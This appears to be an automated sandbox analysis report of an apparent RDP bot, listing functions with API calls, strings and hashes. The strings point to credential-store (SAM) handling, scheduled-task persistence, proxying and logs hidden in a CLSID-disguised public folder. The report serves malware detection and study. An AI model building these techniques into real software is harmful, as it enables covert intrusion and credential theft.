Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$C:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-4028107517
Opcode ID: 6cd0e2940794b827f88963b9ea89a5655d9a696eb30f6036814794fb0c064db2
Instruction ID: 7f03e6716d190cebe4469dddca7c4c33fc367d274b2183224016764b40502244
Opcode Fuzzy Hash: 6cd0e2940794b827f88963b9ea89a5655d9a696eb30f6036814794fb0c064db2
Instruction Fuzzy Hash: 2A310FE8E0959381FA178F39EC9877D2261FF84784F5C40B5C8CD272A4DE2CEA459340

Function 00007FFB227015BE Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB227015D3
LeaveCriticalSection.KERNEL32 ref: 00007FFB22701639
GetProcessHeap.KERNEL32 ref: 00007FFB22701670
HeapAlloc.KERNEL32 ref: 00007FFB22701684

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB227015FF
C:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FFB227015EA
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB227016CB
ebus_subscribe, xrefs: 00007FFB227015F8, 00007FFB22701654, 00007FFB227016F5
mem_alloc, xrefs: 00007FFB227016C4
(handler != NULL), xrefs: 00007FFB227015F1
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FFB2270165B
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FFB227016FC

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$C:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-4028107517
Opcode ID: 1c1f021130939825bb1d08879dabc2e55e13a3767f10cc75ef6f8872d0639300
Instruction ID: cbbafa51509626aa74af806b502ee1b5c02510d99418411020bd023137e1b995
Opcode Fuzzy Hash: 1c1f021130939825bb1d08879dabc2e55e13a3767f10cc75ef6f8872d0639300
Instruction Fuzzy Hash: 78314DE1E0D69381FE1A9F60EC607742261AF52B94F484135C94D9B3B0EEECEE49D300

Function 00007FFB23AD293E Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB23AD2953
LeaveCriticalSection.KERNEL32 ref: 00007FFB23AD29B9
GetProcessHeap.KERNEL32 ref: 00007FFB23AD29F0
HeapAlloc.KERNEL32 ref: 00007FFB23AD2A04

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23AD297F
mem_alloc, xrefs: 00007FFB23AD2A44
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB23AD2A4B
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FFB23AD29DB
(handler != NULL), xrefs: 00007FFB23AD2971
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FFB23AD2A7C
ebus_subscribe, xrefs: 00007FFB23AD2978, 00007FFB23AD29D4, 00007FFB23AD2A75
C:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FFB23AD296A

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$C:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-4028107517
Opcode ID: 39f2d110513aaaf576bf52ed9d8eb4146c03c4bd47dd012bde0576d05d6fb516
Instruction ID: 21c8428449c23d4c478645d03111c6418081914c9d075f3dd2961fc6e26942ab
Opcode Fuzzy Hash: 39f2d110513aaaf576bf52ed9d8eb4146c03c4bd47dd012bde0576d05d6fb516
Instruction Fuzzy Hash: 633130E1E2D98B81FE579B24EC5437C2361AF46B94F4C45B1C85E3B7A0EE2CA946C300

Function 00007FFB2273A076 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 78COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB2273A091
GetLastError.KERNEL32 ref: 00007FFB2273A0D0

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

proxy_init, xrefs: 00007FFB2273A0B0, 00007FFB2273A0DB, 00007FFB2273A196
, xrefs: 00007FFB2273A0EE
P, xrefs: 00007FFB2273A150
Done, xrefs: 00007FFB2273A0A9
~, xrefs: 00007FFB2273A14B
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_proxies) failed(gle=%lu), xrefs: 00007FFB2273A0E2
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB2273A19D
[I] (%s) -> %s, xrefs: 00007FFB2273A0B7

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinfflushfwrite
String ID: $Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_proxies) failed(gle=%lu)$[I] (%s) -> %s$proxy_init$~
API String ID: 3179112426-3318474754
Opcode ID: 7b955b83687b484f1dea81e130f191051db80d63fe7d011c6fb5ea590d81b79c
Instruction ID: 41bcfabf5fbab48a22b9297563e74c9d70d1c5b396ce3457ee360132a90de286
Opcode Fuzzy Hash: 7b955b83687b484f1dea81e130f191051db80d63fe7d011c6fb5ea590d81b79c
Instruction Fuzzy Hash: 6E31B4E0F1C68392FB224734ECD63B922A49F0B355F500036C91EC62B1AEDDAD85A247

Function 00007FFB22708F74 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 77COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB22708F85
GetLastError.KERNEL32 ref: 00007FFB22708FC4

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

Strings

Done, xrefs: 00007FFB22708F9D
, xrefs: 00007FFB22708FE2
sam_init, xrefs: 00007FFB22708FA4, 00007FFB22708FCF, 00007FFB2270908A
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_sam) failed(gle=%lu), xrefs: 00007FFB22708FD6
P, xrefs: 00007FFB22709044
~, xrefs: 00007FFB2270903F
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB22709091
[I] (%s) -> %s, xrefs: 00007FFB22708FAB

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinfflushfwrite
String ID: $Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_sam) failed(gle=%lu)$[I] (%s) -> %s$sam_init$~
API String ID: 3179112426-2019511216
Opcode ID: bdf5231d5a7a62b8eeffd5079e20df21f436e944fc87a69db881656bff7e6d57
Instruction ID: b929aa87d50cca38b3a3188909785b7d0f0c71288200dca2055b40907afee715
Opcode Fuzzy Hash: bdf5231d5a7a62b8eeffd5079e20df21f436e944fc87a69db881656bff7e6d57
Instruction Fuzzy Hash: 8531FAD0B0D683C1FB7A4734DCD0BBA52509F6B704E600536C54EC62B5AEEEAE9CC281

Function 00007FFB22769510 Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 145stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FFB227695AA
strlen.MSVCRT ref: 00007FFB227695C6
strlen.MSVCRT ref: 00007FFB227695D7
strlen.MSVCRT ref: 00007FFB22769611
strlen.MSVCRT ref: 00007FFB2276962D
strcpy.MSVCRT ref: 00007FFB22769649
strlen.MSVCRT ref: 00007FFB22769651
strlen.MSVCRT ref: 00007FFB22769660
strlen.MSVCRT ref: 00007FFB22769675

Strings

schtasks, xrefs: 00007FFB227695DF
*, xrefs: 00007FFB22769656

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: strlen$strcpy
String ID: *$schtasks
API String ID: 2790333442-2394224502
Opcode ID: 97730eb745bebb1e3a148d9c91100f2450272e3023c51ea8c0950519d129150e
Instruction ID: b756dd8959148c77abbd8183d33244a354df22fb44a4da298c607ae4497537df
Opcode Fuzzy Hash: 97730eb745bebb1e3a148d9c91100f2450272e3023c51ea8c0950519d129150e
Instruction Fuzzy Hash: 7151B5A2A0C6C3C5FB765A35ED513B95251AB8F384F580035DA4E973FADEACDC058700

Function 00007FFB23AB378B Relevance: 16.6, APIs: 7, Strings: 4, Instructions: 104memorysleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB23AB2ECA: recv.WS2_32 ref: 00007FFB23AB2EF2

Sleep.KERNEL32 ref: 00007FFB23AB37E3

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

LeaveCriticalSection.KERNEL32 ref: 00007FFB23AB3828
memcpy.MSVCRT ref: 00007FFB23AB3844
GetProcessHeap.KERNEL32 ref: 00007FFB23AB3866
HeapAlloc.KERNEL32 ref: 00007FFB23AB3877
memcpy.MSVCRT ref: 00007FFB23AB3898
EnterCriticalSection.KERNEL32 ref: 00007FFB23AB38F0

Strings

[D] (%s) -> Got an event(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s)), xrefs: 00007FFB23AB38DD
routine_rx, xrefs: 00007FFB23AB38D6
mem_alloc, xrefs: 00007FFB23AB37FE
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB23AB3805

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: CriticalHeapSectionmemcpy$AllocEnterLeaveProcessSleepfflushfwriterecv
String ID: [D] (%s) -> Got an event(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s))$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$routine_rx
API String ID: 3537583691-1494920791
Opcode ID: f5fe8b67ae239f4394970cf3ed24f4d58279fb7353ba1ab73c9d33bbdb2da9c9
Instruction ID: 8c5bab2e9a1e6aa0f2ac203fca1d63839c5dfc1f28e68b56ddec946fcb7459b1
Opcode Fuzzy Hash: f5fe8b67ae239f4394970cf3ed24f4d58279fb7353ba1ab73c9d33bbdb2da9c9
Instruction Fuzzy Hash: 9A419FE1A09A8292EA128B31EC4437E23A5FB56B84F4C45B5DA0D633A9DF3CE545C340

Function 00007FFB2273C852 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FFB2273C8FE
fflush.MSVCRT ref: 00007FFB2273C90A
EnterCriticalSection.KERNEL32 ref: 00007FFB2273C923
LeaveCriticalSection.KERNEL32 ref: 00007FFB2273C94B
CopyFileA.KERNEL32 ref: 00007FFB2273C9A8

Strings

kernel32, xrefs: 00007FFB2273C854, 00007FFB2273C855
1, xrefs: 00007FFB2273C992
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log, xrefs: 00007FFB2273C96B
., xrefs: 00007FFB2273C98D

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log$kernel32
API String ID: 513531256-1037688549
Opcode ID: 746c250213a6bf0929b2031500baeb5bc966a1baef0d33071a41361a17e77abe
Instruction ID: e6f8096aee261ef4cde6e8aac0dbdfd577698e1f053b1dcfc6d4942e116f0ee9
Opcode Fuzzy Hash: 746c250213a6bf0929b2031500baeb5bc966a1baef0d33071a41361a17e77abe
Instruction Fuzzy Hash: F3417DA5A1C6C186F7229B31EC507BAB2A0EB8A780F500035DE4DC77A5DFACED91C700

Function 00007FF7AABD2EF2 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF7AABD2F9E
fflush.MSVCRT ref: 00007FF7AABD2FAA
EnterCriticalSection.KERNEL32(service,0000027B435613D0,?,00007FF7AABE8500,00007FF7AABD2027,?,?,?,?,?,?,00007FF7AABD162F), ref: 00007FF7AABD2FC3
LeaveCriticalSection.KERNEL32(?,00007FF7AABE8500,00007FF7AABD2027,?,?,?,?,?,?,00007FF7AABD162F), ref: 00007FF7AABD2FEB
CopyFileA.KERNEL32 ref: 00007FF7AABD3048

Strings

1, xrefs: 00007FF7AABD3032
., xrefs: 00007FF7AABD302D
service, xrefs: 00007FF7AABD2EF5
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log, xrefs: 00007FF7AABD300B

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log$service
API String ID: 513531256-4171087551
Opcode ID: 1c78b1efae91c39788277ccbb029fb8becfea4ebd31fac5e190fe197ddb8946f
Instruction ID: 7d7b3520793ae13bfd512f331d0a2bf302511ea73d1187dd70641b24301ed523
Opcode Fuzzy Hash: 1c78b1efae91c39788277ccbb029fb8becfea4ebd31fac5e190fe197ddb8946f
Instruction Fuzzy Hash: B0417131A0FA85CAF330BB54E8513B9E2A1FB94780FC600B5EA0D576A5CF3CE5428760

Function 00007FFB23B08480 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 70stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FFB23B0851E
strtol.MSVCRT ref: 00007FFB23B08534
_errno.MSVCRT ref: 00007FFB23B0853C
_errno.MSVCRT ref: 00007FFB23B08544

Strings

C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23B084EF
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23B08504
(value != NULL), xrefs: 00007FFB23B084F6
ini_get_uint16, xrefs: 00007FFB23B084FD, 00007FFB23B08565
[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FFB23B0856C

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: _errno$strtol
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint16
API String ID: 3596500743-1991603811
Opcode ID: 6e97245f22c7f66e2efc42f922bc7edc8d0a87e4aaaa117f4e926190ba981787
Instruction ID: 3ad3503f8fba6ed20b469de6c11a5ed060d2c8d430297a0f33a743875d8546b2
Opcode Fuzzy Hash: 6e97245f22c7f66e2efc42f922bc7edc8d0a87e4aaaa117f4e926190ba981787
Instruction Fuzzy Hash: BC21B1A9A0868791EB529F21ED857AE7360BB847D4F080071EECC57BA5DF3CD946C700

Function 00007FFB2273D824 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FFB2273D8C0
_strtoui64.MSVCRT ref: 00007FFB2273D8D6
_errno.MSVCRT ref: 00007FFB2273D8E0
_errno.MSVCRT ref: 00007FFB2273D8EC

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2273D8A6
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB2273D891
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FFB2273D913
ini_get_uint64, xrefs: 00007FFB2273D89F, 00007FFB2273D90C
(value != NULL), xrefs: 00007FFB2273D898

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2210897324
Opcode ID: 11288a4003739287dbdb619e60809e9528f7172e8861f30cee537802ce7c250d
Instruction ID: ef7040a4f585e07e99d0f0ee843cfd47d7e6c423058b3cd191756071a4b9c781
Opcode Fuzzy Hash: 11288a4003739287dbdb619e60809e9528f7172e8861f30cee537802ce7c250d
Instruction Fuzzy Hash: 21218CB1A0CA8695F6129F25EC417AA7361AB46B84F44403AFE4C87674CFBCED85C701

Function 00007FFB2276AD94 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FFB2276AE30
_strtoui64.MSVCRT ref: 00007FFB2276AE46
_errno.MSVCRT ref: 00007FFB2276AE50
_errno.MSVCRT ref: 00007FFB2276AE5C

Strings

(value != NULL), xrefs: 00007FFB2276AE08
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FFB2276AE83
ini_get_uint64, xrefs: 00007FFB2276AE0F, 00007FFB2276AE7C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2276AE16
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB2276AE01

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2210897324
Opcode ID: 82277fde316036396cc3a27ca53206fad783eaa24996ea684cca2dd4cc975119
Instruction ID: 60209933889b978dceb563480f24482e712133b6c85443a900c6577d30d85bdf
Opcode Fuzzy Hash: 82277fde316036396cc3a27ca53206fad783eaa24996ea684cca2dd4cc975119
Instruction Fuzzy Hash: 13215CA1A0CA8385F3129F25ED407EA3264BB4A784F444032EE4D87674DFBCEC85C740

Function 00007FFB23AB1D84 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FFB23AB1E20
_strtoui64.MSVCRT ref: 00007FFB23AB1E36
_errno.MSVCRT ref: 00007FFB23AB1E40
_errno.MSVCRT ref: 00007FFB23AB1E4C

Strings

[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FFB23AB1E73
(value != NULL), xrefs: 00007FFB23AB1DF8
ini_get_uint64, xrefs: 00007FFB23AB1DFF, 00007FFB23AB1E6C
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23AB1DF1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23AB1E06

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2210897324
